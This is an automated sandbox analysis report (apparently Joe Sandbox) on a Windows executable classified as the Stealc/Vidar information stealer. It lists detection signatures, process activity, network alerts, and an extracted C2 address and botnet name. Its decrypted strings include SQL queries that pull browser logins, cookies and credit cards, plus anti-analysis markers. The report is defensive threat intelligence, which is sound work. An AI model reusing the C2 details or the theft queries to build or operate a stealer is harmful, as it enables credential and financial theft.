Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1560522
MD5:	926dd9e88e2ac846eaf3c23ef8208cdf
SHA1:	95e642c98048b718b948425e39a746d66d0dd4db
SHA256:	ad277a48c7c67f5510e0d2b28284f631f9e51dd7da53ed9e4da8dec0078d9aa0
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Overwrites Mozilla Firefox settings

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7416 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 926DD9E88E2AC846EAF3C23EF8208CDF)

conhost.exe (PID: 7424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

file.exe (PID: 7472 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 926DD9E88E2AC846EAF3C23EF8208CDF)

chrome.exe (PID: 7580 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7828 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2360,i,11729065314981487623,9119966847036491314,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://109.107.157.132/7a5d4e643b804e99.php", "Botnet": "LogsDiller1"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.2322159441.0000000002F57000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1687554948.000000000362E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7416	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7416	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7472	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7472	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7472	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7472	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.file.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.file.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.3674bf0.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.3674bf0.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7472, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 7580, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:33:01.652549+0100	2044245	1	Malware Command and Control Activity Detected	109.107.157.132	80	192.168.2.4	49733	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:33:01.531066+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49733	109.107.157.132	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:33:01.926000+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49733	109.107.157.132	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:33:58.935645+0100	2044249	1	Malware Command and Control Activity Detected	192.168.2.4	49759	109.107.157.132	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:33:02.961700+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49733	109.107.157.132	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:33:02.047690+0100	2044247	1	Malware Command and Control Activity Detected	109.107.157.132	80	192.168.2.4	49733	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:33:01.135797+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49733	109.107.157.132	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T22:33:04.163104+0100	2803304	3	Unknown Traffic	192.168.2.4	49733	109.107.157.132	80	TCP
2024-11-21T22:33:18.068251+0100	2803304	3	Unknown Traffic	192.168.2.4	49751	109.107.157.132	80	TCP
2024-11-21T22:33:34.425656+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	109.107.157.132	80	TCP
2024-11-21T22:33:38.944514+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	109.107.157.132	80	TCP
2024-11-21T22:33:44.030921+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	109.107.157.132	80	TCP
2024-11-21T22:33:53.423137+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	109.107.157.132	80	TCP
2024-11-21T22:33:54.608620+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	109.107.157.132	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://109.107.157.132/7a5d4e643b804e99.php.	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/955ccceeebf8214b/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/955ccceeebf8214b/nss3.dll	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/7a5d4e643b804e99.phpH	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/7a5d4e643b804e99.phpv	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/h	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/7a5d4e643b804e99.phpem	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/7a5d4e643b804e99.phpl	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/7a5d4e643b804e99.phpDHIDAAFHIIDGDBFIE	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/7a5d4e643b804e99.phpfi	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/955ccceeebf8214b/nss3.dll&.	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/7a5d4e643b804e99.phpVBG	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/955ccceeebf8214b/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/955ccceeebf8214b/vcruntime140.dllcMf	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/7a5d4e643b804e99.phpLMA	Avira URL Cloud: Label: malware
Source: http://109.107.157.132/955ccceeebf8214b/softokn3.dll	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.file.exe.3674bf0.1.raw.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://109.107.157.132/7a5d4e643b804e99.php", "Botnet": "LogsDiller1"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: 22
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: 11
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: 20
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: 24
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Sleep
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: sscanf
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: http://109.107.157.132
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: /7a5d4e643b804e99.php
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: /955ccceeebf8214b/
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: LogsDiller1
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Process32First
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: FindClose
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetDC
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: PATH
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: browser:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: profile:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: url:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: login:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: password:
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Opera
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: Network
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: cookies
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: .txt
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: TRUE
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: FALSE
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: autofill
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: history
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: cc
Source: 0.2.file.exe.3674bf0.1.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
